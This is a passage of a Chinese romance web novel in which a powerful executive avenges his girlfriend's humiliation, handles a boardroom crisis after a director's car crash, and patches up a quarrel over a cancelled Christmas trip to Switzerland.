就像刚才看着褚晚柠给桑柠灌酒，都是一副看好戏的样子，没人上去帮忙劝阻一样，这会儿也没人敢上前阻拦。
谁不知道霍今然在上层圈里的地位，犯不着为了那个骄纵的千金，而得罪了那位爷。
望着手里已空掉的红酒瓶，霍今然直起身，他松开褚晚柠，低垂的眼眸似是染了血似的，越发狠厉。
他轻甩手腕，一脸冷漠的将空酒瓶丢了过去，“砰——”的一声，酒瓶撞到墙上，落地就摔碎了。
这些猛然响起的动静声，令包间里的人个个都胆战心惊的。
霍今然还站在那里，他低垂着眼眸，从桌边抽出一张纸巾，旁若无人的擦着染了红酒的双手。
仿佛像是杀手在擦干净手上的血似的，周身的气场都覆着危险的气息。
红酒渍染到了他的指甲缝里，他微用力搓了下，心里顿生烦躁，他从来都没有这么厌恶过褚晚柠。
擦干净手指，霍今然微抬上目线，视线清淡的瞥过坐在沙发上的那些人：“今晚的事都给我记着，要是褚晚柠以后再犯事，记得敲打她一下，省得弄得大家都难堪。”
对面的人小鸡啄米似的点了点头。
这一闹，他不仅跟褚晚柠撕破了脸，还让她在朋友面前丢尽了脸面。
霍今然将脏掉的纸巾随手丢到了桌上，他抬脚，在所有人的注视下，朝着门口走去。
高虎已经帮忙开了门，他刚一跨出门口，围在走廊上的人，就自动分成两拨，给他让出一个道。
穿过人群时，霍今然看到缩在墙角的瑟瑟发抖的江念惜，他也只是轻瞥了一眼，便抬脚下了楼。
走廊另一边，刚从别的包间见完朋友回来的姜昱霆，看到霍今然离开的身影，猜到肯定出事了，他拨开人群，大步走了过去。
一踏进包间，就看到褚晚柠狼狈的趴在那里，她头发凌乱，被人碰到时，立马扑打了起来：“都别碰我！你们都给我滚出去！”
姜昱霆冲其他人摆了摆手：“你们先出去吧。”
一帮人走了出去，关上了门。
包间里只剩下了姜昱霆跟褚晚柠两个人。
姜昱霆轻叹了口气，他拿起一包纸巾，坐过去，递给了褚晚柠：“过来，先擦擦。”
褚晚柠没动，她想起刚才的情景，心里顿时涌上一阵屈辱，她捂着脸，放声哭了出来。
姜昱霆抿了下嘴，没再说什么，只是将纸巾盒丢到了一边。
走出会所，隆冬的寒风从耳边呼啸而过。
夜里起了雾，前方茫然一片，不远处的路灯也隐隐绰绰，阴霾的叫人心里也不禁染上一层悲凉。
上了车，霍今然沉默的靠在后排的座椅上，司机已经从单羽那里得知了桑柠所在的医院，于是就直接开车赶了过去。
路上雾气大，耽搁了些时间，到医院时，已经差不多要九点了。
单羽接上霍今然，朝病房走去：“医生说桑小姐没什么大碍，不过酒水喝多了，有些昏睡。”
到门口时，霍今然吩咐了一句：“行了，你们回去吧。”
单羽跟高虎一同离开了。
霍今然独自进了病房。
桑柠还躺在那里，睡得很安稳，霍今然走过去，坐到了床边的椅子上。
视线一落到桑柠的身上，看到她白皙的下巴那里泛着紫红的淤青，霍今然的心里骤然生起绵绵密密的痛。
像是针扎过似的。
霍今然微抬眸，又望向了窗外，外面的雾气浓重，阴恻恻的，包裹着深冬的夜，也在他心底笼下一片哀愁。
放空的那么一会儿工夫里，霍今然的脑海里不断闪现过往的一些碎片，桑柠在泳池里唤他名字时，那张明媚的笑脸，跟着浮现起的是那次在高尔夫球场，她扑到他怀里笑的那么开心的样子。
她笑起来很好看，明艳娇丽，灿烂的如日光一样，让人也跟着喜悦起来，就连沉在心底的雾霾也会一并散去。
转念间，霍今然的脑海里又突然浮现，桑柠今晚在包间里无助的样子，他低下了眼眸，心里也似是跟着叹了口气。
再抬眼望向桑柠时，她醒了过来，跟他的视线相撞上，她却也不说话，而是沉默的翻了个身，背对着他。
她倒也不是怨他，也不是气他，只是今晚发生的事，她实在难以接受，这一劫说到底也是因为霍今然而起，她长这么大，还从未受过这样的委屈。
一时之间，她竟不知道该怎么面对他。
霍今然望着桑柠的背影，知她心里委屈，他起身，绕过去，面对着她，半蹲到了床边。
他西装外套已脱，只穿着深蓝色的衬衫，没打领带，但依然一副矜贵的姿态，那张脸更是好看的让人心动不已。
就是这么一个矜贵好看的男人，却突然双手捏着脸颊，扮鬼脸逗她：“不生气了，好不好，嗯？”
就像上次夜里他睡不着，她过去陪他，扮鬼脸逗他一样，他今晚也有样学样，在想办法取悦她。
桑柠噗嗤一下笑了出来，眼泪也跟着冒出，又哭又笑，心里万般不是个滋味。
瞧着她坐起了身，霍今然也跟着坐到床边，将她拥到了怀里。
桑柠趴在他怀里呜呜咽咽道：“我长这么大，还从来都没让人这样欺负过。”
霍今然轻抚她的背：“不气了，帮你教训她了。”
桑柠抬起挂满泪痕的小脸：“你打她了么？”
霍今然弯着长指，帮她擦掉了流到下巴的泪水：“嗯，她该打。”
“可是打女人的话，传出去会不会坏了你的名声。”
桑柠这边担心，霍今然倒是一副懒慢无谓的样子：“谁让她欺负我的人。”
他勾住她的腰，将她往他身边又带过来几分，几乎紧贴着他。
挨得近，彼此的呼吸缠绕，心跳声也跟着呼应，仿佛要融为一体。
这一晚发生的事，好像另两个人更紧密了些，她受了委屈，他也会跟着难过。
为了她，破了戒，他也心甘心情愿。
次日，桑柠出院时，是连歆语接她回家的。
临近十一月底，天气寒冷，但北方的房间里暖气充足，一进到家里，桑柠就脱掉了身上的外套。
连歆语拎着一袋水果，走到了厨房那里：“我去超市给你买了，你喜欢吃的青葡萄。”
“还是你对我最好了。”桑柠坐到了沙发上。
连歆语打开水龙头：“你就哄我吧，对你最好的难道不是你家霍今然么。”
桑柠没吭声，她默认了下来。
连歆语洗完葡萄，端着玻璃碗，走过去，将一大碗葡萄递给了桑柠：“你家霍今然还真是护着你，我听说，褚晚柠被京城所有会所都拉入了黑名单，这次闹这么大，她也没脸再待下去了，说不定很快就要出国了。”
桑柠捧着玻璃碗，往嘴里塞了一颗青葡萄：“那天霍今然真的狠狠教训了她一顿？”
“不然呢。”连歆语拿着一瓶水，坐了过去，接着道，“听说霍今然可凶了。”
连歆语打开瓶盖，喝了两三口水，而后她故意晃动着剩余那大半瓶水：“就这么
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大半瓶红酒都给她灌肚子里了，不过也是她活该，应得的。”
说完，连歆语又忍不住咬牙切齿道：“这贱人，我都恨不得拔光她的头发，更何况是霍今然，那晚他估计都气疯了吧。”
桑柠没应话，只是慢慢嚼着嘴里的青葡萄，她突然想起昨晚在医院时，霍今然跟她说的那句话：“谁让她欺负我的人。”
嘴里的青葡萄很甜，却都比不过她心底泛起的甜蜜，比之蜜糖还要甜。
“还有江念惜那贱人，我也帮你教训了，真是物以类聚人以群分，难怪她会跟褚晚柠那帮人混上。”
连歆语的话又飘了过来，桑柠嚼完了嘴里的葡萄：“不提她们了。”
“行，不提那些糟心玩意儿了。”连歆语将水瓶放到一边，她拿起一个香蕉，剥了皮，问桑柠，“你要是这几天想出门旅行，就提前跟我说一声，我看我能不能请假陪你去。”
桑柠摇了摇头：“不去了，接下来我有些忙，要开始修出版稿了。”
“这样啊，不过我记得之前你跟我过小说要出版了，那我们等圣诞节，再约出去玩。”连歆语又提议道。
“圣诞节也不行。”
“你要跟你家霍今然过圣诞节？”
桑柠咬了下唇瓣，唇角溢出的笑甜蜜的挡也挡不住：“嗯，他说要带我去瑞士滑雪。”
连歆语轻啧了下：“看来霍今然要转性了，不过得亏遇到你，他也终于可以下凡做个正常人了。”
“他本来就是个正常人。”桑柠护了霍今然一句。
连歆语嗤了声：“得了吧，他以前甚至都不是人。”
“不许这么说他。”
“你就护着他吧，你俩真是，腻歪死了。”
桑柠没再说话，只是往嘴里又塞了一颗青葡萄。
手机传来新消息的提示音，桑柠拿起看了一眼，是霍今然发给她的：晚上有没有什么想吃的？
桑柠将那碗葡萄放到桌上，腾出手，回他：你不过来陪我吃么？
霍今然：让歆语先陪你，晚上我这边有个客户要见。
桑柠：那好吧。
霍今然：约见的这家酒店，粤菜很出名，想吃么？
桑柠：想吃。
桑柠：你给我们随便点几个菜吧，主食要两份米饭就好了。
霍今然：好。
桑柠从手机里抬起头时，看到那边连歆语正一脸怨气的望着她。
“干嘛这样看着我？”
“我还想问你呢，一直捧着手机，跟霍今然聊天呢？”
桑柠将手机放到了一边：“没，他给我们点了粤菜，晚上让我们在家吃。”
连歆语又突然一脸艳羡道：“桑柠，我要实名羡慕你了。”
“那你也谈恋爱呀。”桑柠探身，又拿过那碗青葡萄，八卦了一句，“其实我觉得霍今然那个朋友挺不错的。”
“聊着呢。”连歆语从包里翻出个皮筋，随手将头发挽了起来，她又慢慢道，“不然你以为刚才褚晚柠的事，我从哪儿听来的。”
“哦，原来是那个朋友告诉你的。”桑柠起哄道，“现在是朋友，很快就是男朋友啦。”
“还早呢，这么快就让他追到我，便宜他了。”连歆语随口拈来一句。
桑柠往嘴里塞着青葡萄，没再说话，不过一会儿，她又自言自语道：“果然呐。”
话半吞半吐，也听不出来她想表达什么。
连歆语睨了她一眼：“想说什么？”
桑柠吐出青葡萄皮，终于不藏着掖着道：“我不是早就跟你说过了嘛，一开始看不顺眼的，最后几乎都纠缠到了床上。”
“……”
27. 27
十一月的最后几天，桑柠几乎都闷在了家里。
日子如流水，转眼而过。
十二月中旬时，下了一场大雪，等那场雪融尽时，圣诞节也如约而至。
平安夜的头一天，桑柠就早早的收拾好了行李。
收拾完，她给霍今然发过去一张照片，顺带又给他发了条语音：“我已经都收拾好行李了，就等着明天早上你来接我了。”
跟霍今然飞往瑞士的航班是明天上午十点。
很快，霍今然就回了她一条信息：嗯，都带齐了？
桑柠对着手机讲道：“当然，前两天买滑雪服时，我还顺便买了两套蕾丝的内衣。”
“让你看到就流鼻血。”
“咻——咻——”两声，那两条语音发送了过去。
霍今然正坐在车里，准备回公司一趟。
看到桑柠发来的语音，他下意识的点开了第一条。
偏巧在这时，坐在前排的唐志诚也转过了身，将一叠文件递了过去：“霍总，您要的……”
唐志诚的话，也几乎是伴着桑柠的那条语音：“当然，前两天买滑雪服时，我还顺便买了两套蕾丝的内衣。”
“……”
车里又安静了下去。
唐志诚递过去文件，又默默的转过了身。
霍今然还不动声色的坐在那里，他低着睫，指尖轻点手机的屏幕，将桑柠的第二条语音转成了文字：让你看到就流鼻血。
想象着桑柠说这句话的语气，霍今然的唇边不禁染了笑，他回桑柠：淘气。
桑柠：你今天晚上还过来我这里吗？
霍今然：忙完的话，看看时间。
桑柠：好吧。
桑柠：要是太晚就算了，反正我们明天上午就能见了。
霍今然：好。
回完，霍今然将手机放到一边，而后他顺手拿起了刚才唐志诚递给他的文件。
到公司忙完，时间已经过了夜里十二点，过于晚了，霍今然也没再去桑柠那边。
就等明天早上过去接她，一起飞往瑞士。
回酒店的路上，霍今然刚闭上眼准备休息片刻，就听到坐在前排的唐志诚突然跟他说道：“霍总，梁董事出事了。”
霍今然缓缓的睁开了眼，却不说话，只是安静的等着唐志诚接下来的话。
“说是突发车祸，现在正在医院里抢救，还没醒过来。”
霍今然微蹙了下眉心，这位梁董事从他掌权整个集团时，就一直很支持他，也是现在集团里唯一能跟父亲抗衡的老董事。
“去医院。”霍今然轻吐出一句话。
唐志诚点头，转而又跟司机说道：“东森私立医院。”
“还有。”霍今然继续吩咐道，“封锁消息，关于梁董事的情况半点都不能透漏出去。”
“明白，霍总。”
前方十字路口刚好绿灯，司机打转方向盘，转了个弯，直奔医院的方向疾驰而去。
窗外冬日的深夜如墨般，包裹了整个京城。
二十分钟后，东森医院，急诊部。
半夜的私立医院几乎没什么人，进了急诊部，唐志诚前去询问了下，那位梁董事还在抢救中，目前情况未知。
霍今然坐在一边的真皮沙发上，没什么声色的听完唐志诚报告的情况，他冷不丁的吩咐了一句：“查一下梁董事，今天晚上见的都是什么人。”
唐志诚点头道：“我这就去查。”
不久，唐志诚跟着回复道：“梁董事今晚见的是柳氏集团的董事人之一柳潘明，巧的是，前阵子二公子正在跟柳氏集团谈合作项目。”
霍今然不动声色的坐在那里，他手肘微曲，支在沙发扶手上，沉思片刻，还没来得及说什么，身后突然传来一阵脚步声。
似是正朝着他们这边走来。
唐志诚偏头看了一眼，来人竟是霍家的二公子霍志霄。
“霍总，二公子来了。”唐志诚附身跟霍今然小声道来一句。
霍今然神色沉凉道：“嗯，等下见机行事。”
“明白。”唐志诚起身，转而冲着霍志霄笑脸相迎道，“二公子，您怎么大半夜的赶过来了？”
“梁董事出事，哪有不过来看看的道理，谁让我一向都尊重长辈呢。”
说这句话时，霍志霄不禁睨了一眼，从他进来，就一直坐在那里，不肯起身的霍今然。
瞧着霍今然一副掌权人的高姿态，霍志霄就气不打一出来。
唐志诚依然带着笑：“您消息倒是挺灵通。”
霍志霄低哼了声：“比不得你们。”
急诊的抢救室上方还是红灯的标识，也不知何时会有消息。
霍志霄走过去，坐到了霍今然的旁边：“这大半夜的，怎么还劳驾霍总亲自盯着？”
霍今然单肘撑着沙发的扶手，他没什么情绪的望着前方：“二哥不也是亲自赶了过来。”
他低捷，面色微凉，那双清冷的眉眼亦是不染半点情绪，只是慢条斯理的整理了下衬衫的袖口：“没记错的话，梁董事好像一直都不待见二哥你。”
“……”
霍志霄轻磨了下后牙糟，一偏头，就看到霍今然正低着头整理袖口，瞧着他那副目中无人的样子，只觉更来气。
“你别太得意，除了梁董事，你觉得还有哪几个董事会完全站在你那边？”霍志霄低声道，“你最好祈祷梁董事今晚会平安无事。”
霍今然沉静的坐在那里，仿佛隐在深山的枯井般波澜不惊。
不过一瞬，他轻抬起眉眼，没什么情绪的望向了霍志霄：“二哥之前的项目，账目上的问题解决了么？”
被霍今然这么冷不丁一问，霍志霄慌了神：“你什么意思？”<
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霍今然却依旧面色沉凉道：“我什么意思，二哥心里最清楚，你在账目上做假的那件事，我能帮你兜底，也能让你在所有董事面前丢尽脸面。”
“……”
霍志霄脸上有些挂不住，他心里到底还是有些忌惮霍今然刚才的那番话，也就没再多言了。
那边梁董事将近抢救了一夜，直到早上六点多时，抢救室的红灯才终于灭了。
外面天色渐亮，冬天的早晨冷雾弥漫。
霍今然刚要起身时，口袋里的手机不停传来振动，他掏出看了一眼，是桑柠给他发来的两条信息。
——我已经起来啦。
——马上洗澡，吃早餐，然后等你过来。
读完信息，听见那边抢救室门打开的动静声，霍今然收起手机，站起了身。
门一开，唐志诚就立马迎了过去，看到是相熟的褚医生，也没说话，只是使了个眼色。
褚医生朝唐志诚身后望了一眼，看到霍志霄朝这边走来，便已心知肚明。
“褚医生，梁董事怎么样了？”
褚医生摘下口罩，回唐志诚道：“过了危险期了，不过还得留院观察。”
“我们能见一面梁董事么？”霍志霄停到面前问道。
褚医生回绝道：“病人还在昏迷中，已经送往ICU室观察，暂时不方便探视。”
说完，褚医生就转身离开了。
霍志霄也没再坚持下去，离开时却还是冲着霍今然阴阳怪气了一句：“这次算你走运。”
唐志诚望着霍志霄离开的背影，不禁摇了摇头：“二公子就会嘴上逞能，不过能这么快赶过来，也不知道他从哪儿得来的消息。”
瞧着霍今然已经抬脚朝门口走去，唐志诚又紧忙跟了过去：“霍总，还不到七点，先送您回酒店？”
“去桑柠那里。”霍今然回道。
唐志诚应了一声，跟在了后面，还没走出两步，手机响了起来，他拿出看了一眼，就紧忙两三步，又走到了霍今然跟前：“霍总，褚医生给我发来的信息。”
霍今然停下脚步，接过唐志诚的手机，看了一眼那条信息：梁董事还没过危险期，如果二十四小时后，仍昏迷不醒，就得给家属下病危通知了。
看完信息，霍今然将手机还给了唐志诚：“叫人去接梁董事的家人过来，不要声张。”
唐志诚接过手机：“好，剩下的事交给我吧，霍总好好度个假。”
霍今然不应声了。
他还站在原地，不知在想什么，看着也没有要朝前走的意思，唐志诚不禁疑惑的望了过去：“霍总？”
稍顿些许，霍今然终于转过了身：“先送我回酒店。”
“那桑小姐那里？”
司机已经将车停到了路边，霍今然径直走了过去，他清淡的丢过去一句：“改签，明天早上再飞。”
28. 28
桑柠对着化妆镜，刚描完眼线，外面的手机突然响起了来电铃声。
她将眼线笔放到一边，起身，跑出了卧室。
拿起手机看了一眼，是霍今然打来的，几乎是一接通电话，桑柠就忍不住欢欣雀跃的问他：“你已经过来了么，我还没化好妆呢。”
“我们今天不飞了。”电话那端的霍今然低声说道，“突然有事，所以航班改签到明天早上了。”
不是询问的语气，这样笃定陈述的语气，看来是他已经决定好了。
给她打来电话，也不过是为了通知她一声。
桑柠怔在那里，没说话，一时间也不知道该气，还是不该气，霍今然又没说不去，只是改签到明天了。
可多少还是会有些失落，毕竟她从很早就开始期待这趟旅行了。
“我让单羽给你买了早餐，你慢慢吃。”霍今然又说道。
桑柠垂着眼睫，小脸灰扑扑的，突然就有些无精打采的样子，语气也松了不少：“嗯，知道了。”
挂断电话，桑柠还杵在那里，直到听见门口响起有访客到访的铃声，她才将手机放到一边，而后她走过去，接通了楼宇对讲机。
通过视频，看到来访的人是单羽。
“桑小姐，霍少让我给你带了些早餐过来。”
看单羽手上拎了一堆东西，桑柠直接帮他开了门：“我给你开门了，你先上来吧。”
“好的。”
挂断楼宇对讲机，桑柠就等在了门口，很快，门外响起敲门声，她打开了门。
单羽走进去，将手上的早餐都放到了餐桌上：“霍少说不知道你早上想吃什么，就让我把你以前喜欢的都买了回来。”
桑柠瞥了一眼桌上的早餐，有菠萝包，肉桂卷，排骨粥，鸡蛋饼，还有她喜欢喝的咖啡焦糖玛奇朵，喜欢吃的水果草莓，青提子。
买这么多她喜欢吃的，一眼就能看出，霍今然想讨好她。
估计也知道惹着她了，这是在哄她呢。
“他因为什么事要改签啊？”刚才跟霍今然通电话时，桑柠没心情问那么多，这会儿只好问单羽了。
单羽有些为难道：“我也不太清楚，昨天晚上只有唐秘书跟着霍少。”
“哦，这样。”
单羽离开后，桑柠也没在微信里问霍今然具体什么情况，她还不想理他，就独自一人吃了个早餐。
早上起得早，人很容易犯困，桑柠这一天也没出去，上午看了会儿书，中午吃过午餐，她就补了个午觉。
这一觉就睡到了傍晚。
醒来时，窗外已是暮色时分，天色黯淡，桑柠侧躺在那里，望着半天边绰绰的暗影，她不禁叹了口气。
要是不改签，这个时候，她跟霍今然应该已经快要到瑞士了，而不是像现在，她一个人窝在家里睡午觉。
桑柠扭开床头柜的台灯，她起身，背靠着床头柜，而后她拿过手机看了一眼，霍今然也不知道在忙什么，这一天都没跟她联系。
她打开朋友圈，刷新了下动态。
临近圣诞节，朋友圈很热闹，陆佑安已经飞到国外度假去了，连歆语也跟着其他姐妹去旅行了，新动态就是她在机场的自拍。
桑柠指尖划着屏幕，给陆佑安和连歆语的新动态各点了个赞。
傍晚的房间里静悄悄的，刷着朋友圈里那些热闹的动态，桑柠就越发觉得她独自待在家里冷冷清清的。
晚上时，桑柠收到连歆语的一条语音：“给你分享个好消息，江念惜已经很久都没出来活动了，代言也都掉了，类似于软封杀，不过这都是她应得的，话说回来你家霍今然还挺男人的，他真是把你捧在手心里护着了。”
听完这条语音，桑柠的心里松动了下。
这一天下来，她都赌气的没理会霍今然，气他只顾着工作，一点都不在乎她的感受。
可听完连歆语的那条语音，她好像又一下子就不气他了。
还有些想他了。
看时间快要夜里十一点了，她点开跟霍今然的聊天对话框，给他发过去一条信息：时间不早了，你记得忙完早点睡，我先睡了，明天早上见~[猪头.jpg]
看霍今然那边一直没回复，桑柠也没再等，就关灯睡觉了。
次日早上七点多时，桑柠收到霍今然的信息：让单羽先送你去机场，我随后就到。
桑柠：好吧，我去机场等你，那你快点过来。
回复完，单羽那边也跟着过来一条信息：桑小姐，我已经到了，你帮我开门，我上去帮你搬运行李。
桑柠：好的，麻烦你了。
桑柠拿着手机走过去，帮单羽开了门。
赶到机场时，还不到八点半，有单羽陪着，桑柠倒也不孤单，只是等了半个小时，却迟迟都没等来霍今然。
眼看着就要登机了，桑柠有些急了：“你家霍少是不是还在公司忙呢。”
“我打个电话问问。”单羽掏出了手机。
桑柠这边也掏出了手机：“还是我给他打个电话吧。”
说完，桑柠拨通了霍今然的电话，盲音响了很久，那边却一直没人接听。
不好的预感，就是在这个时候，一点点的覆上了心间。
原本的期待也在一点点的磨光了。
桑柠咬着唇，又重新拨过去了电话，可依然没人接。
眼瞅着桑柠的情绪不太对，单羽连忙在旁圆场了一句：“可能霍少在车里补觉呢，没听到电话响。”
桑柠一把摁断了电话：“他是睡觉，又不是耳聋。”
“……”
桑小姐生气了。
单羽小心翼翼的拿出电话：“我给唐秘书打个电话。”
一拨通唐志诚的电话，那边很快就接通了，单羽握着手机背过去身，连忙问；“唐秘书，霍少呢，桑小姐还在机场等着呢。”
“霍总还有事在身，今天恐怕赶不过去了，得让桑小姐自己先飞过去了。”那边唐志诚回道。
挂断电话，单羽慢慢转身，他怯怯的看了一眼桑柠：“桑小姐，唐秘书说，霍少还在忙，所以想让桑小姐先自己飞过去，霍少随后就到。”
桑柠微抿了下唇：“赶飞机时，他也是这么说的。”
单羽杵在那里，他夹在中间有些为难，实在不知道该说什么了。
桑柠也没为难他：“算了，我先登机，你回去吧，麻烦你送我过来了。”
“没，没事，应该的。”单羽松了口气。
桑柠顺利登机，独自飞了十几个小时，才终于抵达瑞士。
她一个人也没兴趣去滑雪，就独自在圣诞节那天去街上逛了逛，待到第二天时，依然没等来霍今然。
只等来他一条信息：抱歉，这边事情还没忙完，你好好玩，下次我再补偿给你。
霍今然还给她发了个红包。
桑柠盯着手机屏幕，读完霍今然的那条信息，她没回复他，也没收他发来的红包。
很意外的，她心里竟然很平静，好像已经猜到了这个结果。
从一开始，她就一直在等他，到最后得知他不能赶过来时，完全已是意料之中了。
对于这趟旅行，霍今然根本就没上心，所以才会一次次的敷衍她，而她信了他的话，也便只能在期望失望当中反复沉沦。
直至磨光了所有的情绪。
像是吹气球般，反反复复到最后瘪的满是皱痕，再也吹不起来似的，她的心情也跟着揉搓了几遍，没力气闹了。
那个圣诞节，瑞士的街上到处都很热闹，可桑柠却过得意外的很孤独。
过完圣诞，回到国内时，已经临近新年，这几日，桑柠都没理会霍今然。
仿佛跟他断联了似的。
跨年夜的头一天，连歆语跟桑柠视频聊天时，忍不住跟她念叨：“往年都是我跟你一起跨年，今年有霍今然陪着你，跨年
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夜你肯定是要跟男朋友过了。”
连歆语拿出一根巧克力芝士棒，嘎吱咬了一口：“别说，我还真有些不习惯呢。”
桑柠正站在琉璃台前做沙拉，听完连歆语的话，她切着手里的柠檬，头也不抬的丢过去一句：“谁说我要跟他过了。”
透过视频，察觉到桑柠的情绪不对劲，连歆语问她：“怎么了，又跟霍今然吵架了，你俩不是刚从瑞士度假回来么？”
桑柠捏着半个柠檬，将柠檬汁挤到了已经备好的蔬菜上：“没吵架。”是我不想理他。
“那就是霍今然忙着工作，跨年夜都不能陪你么？”连歆语随口猜了一句。
“他一直工作最重要，你又不是不知道，就他那样的工作狂，怎么会跟我们一样过这些乱七八糟的节日。”这话听起来似是比她手里的柠檬汁还要酸。
连歆语安抚道：“算了，反正圣诞节他都已经陪你过了，那跨年我陪你，怎么都不会让你一个人孤零零的过节的。”
听到连歆语的话，桑柠眼睫微颤，连好朋友都舍不得她一个人孤零零的过节，身为男朋友的霍今然却可以为了工作，将她一个人丢在国外。
他是护着她，但有时候，也确实很不顾及她的感受。
那天晚上，桑柠正要准备洗澡时，她竟意外的收到了霍今然给她发来的信息：开门，我在外面。
桑柠捧着手机，气他是真的，可看到他信息的一瞬间，她也确实很想念他。
将手机放到一边，桑柠走过去，隔着门，她装作不在意的问霍今然：“你找我有事？”
门外，霍今然收起手机，漫不经心的反问她：“故意改的密码，不想让我进去？”
桑柠抱着双臂，她望着紧锁的木门：“你想多了，我一直都定时换密码。”
霍今然呵笑了声：“行，换了也不告诉我是吧。”
“告诉你干什么，你那么忙，哪儿有时间过来找我。”
“这不来了。”霍今然的话里似是含着细碎的笑。
听着他满不在意的语气，桑柠没好气道：“那你来的可真及时，圣诞节都过去好几天了，你现在过来还有什么意思？”
明明是他提出要带她去瑞士滑雪的，可爽约的也是他，在一起的第一年，可圣诞节他却都没陪在她身边。
霍今然侧倚着墙，他从口袋里掏出烟盒，唇角勾着笑：“过来补偿你一晚上，好不好，嗯？”
“开门了，宝贝。”还没等桑柠说什么，霍今然又低哑着声音哄了她一句。
隔着门，那把蛊惑人的声线，像是一条小蛇似的，直往桑柠的心里钻。
她真是没出息，受不得一点诱惑。
仿佛之前白跟他赌气了一场，也白受了委屈。
门外，霍今然的手机传来振动，有电话进来，他将烟盒又塞回裤兜里，接通了电话。
那边唐志诚跟他说道：“霍总，梁董事说有重要的事要见你。”
“现在？”
“是的，梁董事已经在他的别墅等着霍总过去了。”
霍今然边接听电话，边朝着电梯走去，进去后，他转身望了一眼桑柠的门口，准备等下给她发个信息，告诉她一声他有事先走了。
电梯门很快就合上了。
屋里，桑柠没动，也不去开门，她心里到底还是有些怨的：“你这次真的很过分，把我一个人丢在国外，你知道那几天我过得有多难过么。”
“你要是一开始不能陪我，你就提前说，干嘛非要一次次给我希望，又让我失望。”
“我真的很不喜欢那种感觉。”
一股脑的将憋在心底的话都讲出来，桑柠的心里总算舒坦了些。
活落，外面却没了动静声。
“霍今然？”桑柠唤了他一声，却也没得到回应。
桑柠走过去，打开了门，外面果然空了，霍今然不知何时已经离开了。
“……”
29. 29
门外的冷风吹过，夹着霍今然身上熟悉的淡香水味，但他人已不在，哄到一半，却突然离开了。
从来都没见过这样的男朋友！
“啪——”的一声。
桑柠愤愤的甩上了门，她转身，走回屋里，拿过手机，就拨通了霍今然的电话。
那边一接通，也不等霍今然说话，桑柠就发飙道：“霍今然！你混蛋加十级！你以后都不要再来找我了！”
说完，桑柠直接挂断了电话。
她咬着唇瓣，胸口起起伏伏，好不容易不气他了，可现在她都快要气死了。
有他这样做男朋友的么。
霍今然很快给她发来条信息：乖了，突然有急事，在家等我。
桑柠直接将他拉入了黑名单。
很快就到了跨年夜，桑柠跟着连歆语前往郊区的山庄，参加烟火大会，这期间霍今然给她打来电话，她都没接。
就算过了几天消气了，可她也没把霍今然从微信的黑名单里放出来。
就这么跟他赌气，赌了一个多星期，桑柠都没理他。
新年过去没多久，桑柠就忙了起来，新书出版之后，紧跟着就是签售会。
第一场新书签售会在古城宣阳，是桑柠很喜欢的一个城市。
下了飞机，将行李送到酒店，桑柠就兴奋的发了个微博：来到了喜欢的城市，放下行李，第一件事就是要去买我喜欢吃的苏氏栗子饼。[开心.jpg]
半个小时后，桑柠又发了个微博：好伤心，那家老字号的栗子饼搬走了，有没有宣阳的朋友告诉我，搬到哪里了，我在地图上只找到了一家，但离我这里特别远。[大哭.jpg][大哭.jpg][大哭.jpg]
这条微博发出去没多久，就有很多读者给她留言。
——大大，我本地的，这边就只剩下那一家了，确实有些远。
桃夭：怎么就只剩下一家了，呜呜呜。
——现在已经四点半了，大大还是不要去了，过去店都关门了。
桃夭：也是，我看打车过去都得半个小时呢。
——大大快来我们这边，我请你吃好吃的糖水！
——啊啊啊啊啊啊！跟喜欢的大大呼吸同一片空气了！好开心！！
桑柠没再往下翻评论，她收起手机，在路边随便找了家面店，吃了碗牛肉拉面。
在周边逛了一小圈，回到酒店时，天已经黑了。
桑柠跟工作做人员核对了下明天签售的流程，等再回房间时，已经是夜里九点多了。
她刚要准备洗澡时，门外响起了敲门声，还以为是工作人员找她，打开门，看到的却是霍今然。
他手上还拎着一包栗子饼，桑柠一眼就看出来了，白色桑皮纸上印着一个红色的苏字。
是她喜欢吃的那家苏氏栗子饼。
也不知道他是怎么买到的，更无法得知他又是怎么在百忙之中抽出时间，从京城赶到她这边的。
为了哄她，可真是难为他了。
早干嘛去了。
桑柠抱起双臂，她挡在门口，看起来像是不欢迎霍今然，还在跟他赌气的样子：“找我什么事？”
霍今然侧倚着墙，懒慢松散的样子，他长指勾着那包栗子饼，拎到了桑柠面前：“来给我女朋友送外卖。”
走廊的灯光有些昏暗，只落下少许的光亮，映着霍今然眼底清浅的笑，朦胧的光线，像是老式相机的滤镜，令他出色的五官越发艳丽起来。
他视线笼过来，落到桑柠身上，像是温柔的月光包裹，她毫无预兆的沦陷。
原本还在跟他赌气的，可她一张口，语气却不自知的娇嗔了些：“你每次都是这样。”
霍今然微倾身子，离开墙壁，他走过去，单手揽住桑柠的腰身：“哪样，嗯？”
“你……”
唔。
话刚一说出口，霍今然的吻就落了下来，太久没见，他的吻裹着浓重的欲，吻得天昏地暗，桑柠被他紧箍在怀里，差点窒息。
不知吻了多久，霍今然才停下来：“想我了没？”
桑柠脸颊染着红晕，嘴巴也红红的：“没想。”
“嗯，行，收拾的还不够，晚上再惩罚你。”霍今然拉着桑柠，坐到了那边的沙发上。
一落座，他就将她拥到了怀里。
霍今然拆了栗子饼的包装，拿出一块，递给了桑柠：“要不要我喂你吃？”
“不要。”桑柠接过栗子饼，咬了一小口。
栗子饼还是以前的味道，香甜软糯，黄色的夹心一股浓郁的栗子味，很好吃。
吃了两三口，桑柠抬眼看过去，发现霍今然单肘撑着沙发扶手，长指抵额，正一瞬不瞬的盯着她。
“干嘛一直盯着我？”
霍今然伸手，长指楷掉了桑柠嘴角的饼屑：“看你这个小没良心的，怎么那么狠心，又拉黑我，还这么久不理我。”
桑柠微扬下巴：“到底是我狠心，还是你狠心。”
她将手里剩余的半块栗子饼，放到桌上，手掌撑着桌边，身子故意离霍今然远了些：“是谁圣诞节把我一个人丢到国外的，又是谁哄我哄到一半离开的？”
霍今然伸手，将桑柠又捞回了他怀里：“躲我那么远干什么。”
桑柠双手撑在他肩膀上：“我怕你突然吻我，故意堵上我的嘴，不让我控诉你得那些恶行。”
看她板着小脸，认真的模样像是小学生在告状，霍今然忽地笑了：“行，还有什么要控诉的，今晚都说出来。”
瞧着霍今然那副满不在意的样子，桑柠忍不住握拳，轻捶了下他肩膀：“还用我说么，难道你不知道你错在哪里？”
霍今然唇边勾着笑，看她的眼神也越发不正经起来：“所以我今晚过来认错，好好补偿你。”
连认错都像是在勾引人，简直。
毫无，半点诚意。
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桑柠白了他一眼：“没诚意，我不接受你的补偿。”
她欲要离开，霍今然却箍的她更紧了些：“嘴硬是不是。”
